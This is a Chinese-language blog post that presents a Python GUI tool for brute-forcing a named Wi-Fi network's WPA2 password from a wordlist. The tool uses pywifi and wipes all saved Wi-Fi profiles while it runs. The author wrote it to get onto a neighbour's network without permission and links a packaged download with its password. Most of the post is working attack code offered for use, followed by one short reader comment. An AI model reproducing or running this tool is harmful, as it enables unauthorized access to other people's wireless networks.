首页/技术代码/ WiFi暴力破解工具(字典)

WiFi暴力破解工具(字典)

作者:神奇   分类:技术代码   时间:2021-01-23 20:48:33  标签:



自己家的网路实在是差劲的一批,但凡我只要一使用,电视那边就不行了... ...
然后电脑打开WiFi,发现了有及格信号还蛮不错的WiFi,于是......
---------------------------------------------------------------------------------------------------------------------------------
from tkinter import *
from pywifi import const
import pywifi
import time
 
# 主要步骤:
# 1、获取第一个无线网卡
# 2、断开所有的wifi
# 3、读取密码本
# 4、设置睡眠时间
 
#测试连接
def wificonnect(str,wifiname):
    # 窗口无线对象
    wifi = pywifi.PyWiFi()
    # 抓取第一个无线网卡
    ifaces = wifi.interfaces()[0]
    # 断开所有的wifi
    ifaces.disconnect()
    time.sleep(1)
    if ifaces.status()==const.IFACE_DISCONNECTED:
        # 创建wifi连接文件
        profile = pywifi.Profile()
        profile.ssid = wifiname
        # wifi的加密算法
        profile.akm.append(const.AKM_TYPE_WPA2PSK)
        #wifi的密码
        profile.key = str
        # 网卡的开发
        profile.auth = const.AUTH_ALG_OPEN
        # 加密单元,这里需要写点加密单元否则无法连接
        profile.cipher = const.CIPHER_TYPE_CCMP
 
        #删除所有的wifi文件
        ifaces.remove_all_network_profiles()
        #设置新的连接文件
        tep_profile = ifaces.add_network_profile(profile)
        # 连接
        ifaces.connect(tep_profile)
        time.sleep(3)
 
        if ifaces.status() == const.IFACE_CONNECTED:
            return True
        else:
            return False
 
 
def readPwd():
    # 获取wiif名称
    wifiname = entry.get().strip()
 
    path = r'./wifipwd.txt'
    file = open(path,'r')
    while True:
        try:
            # 读取
            mystr = file.readline().strip()
            # 测试连接
            bool = wificonnect(mystr,wifiname)
            if bool:
                text.insert(END,'密码正确'+mystr)
                text.see(END)
                text.update()
                file.close()
                break
            else:
                text.insert(END,'密码错误'+mystr)
                text.see(END)
                text.update()
 
        except: continue
 
# 创建窗口
root = Tk()
root.title('wifi**')
root.geometry('500x400')
 
# 标签
label = Label(root,text='输入要破解的WIFI名称:')
#定位
label.grid()
#输入控件
entry  = Entry(root,font=('微软雅黑',14))
entry.grid(row=0,column=1)
#列表控件
text =Listbox(root,font=('微软雅黑',14),width=40,height=10)
text.grid(row=1,columnspan=2)
#  按钮
button = Button(root,text = '开始破解',width=20,height=2,command=readPwd)
button.grid(row=2,columnspan=2)
 
# 显示窗口
root.mainloop()

然后我也把它打包了一下

++这是字典破解,不知道会不会对电脑WiFi模块有损害,小弟也搞不清楚,所以使用的时候,不要挂上字典,人就出差了
下载地址:https://qglzhyk.lanzoui.com/inx0Kko5pxc
密码:52pj
1.22回复:昨天晚上着急睡了,没说明白,正如评论里说的那样,这个工具其实是非常鸡肋的一个工具,但是python的代码还是值得新手去看看的,我这边才开始学python没多久,给非常抱歉大家带来的不便,其实敲一下邻居家门,然后递上一支烟就能解决
温馨提示如有转载或引用以上内容之必要,敬请将本文链接作为出处标注,谢谢合作!

评论:

游客1630634364 2021-09-03 10:06:55
看了看字典,没啥大的价值,因为大部分密码太奇葩了,是网上下的吗,还是自动生成的,应该你没有破解出来吧

发表评论:

code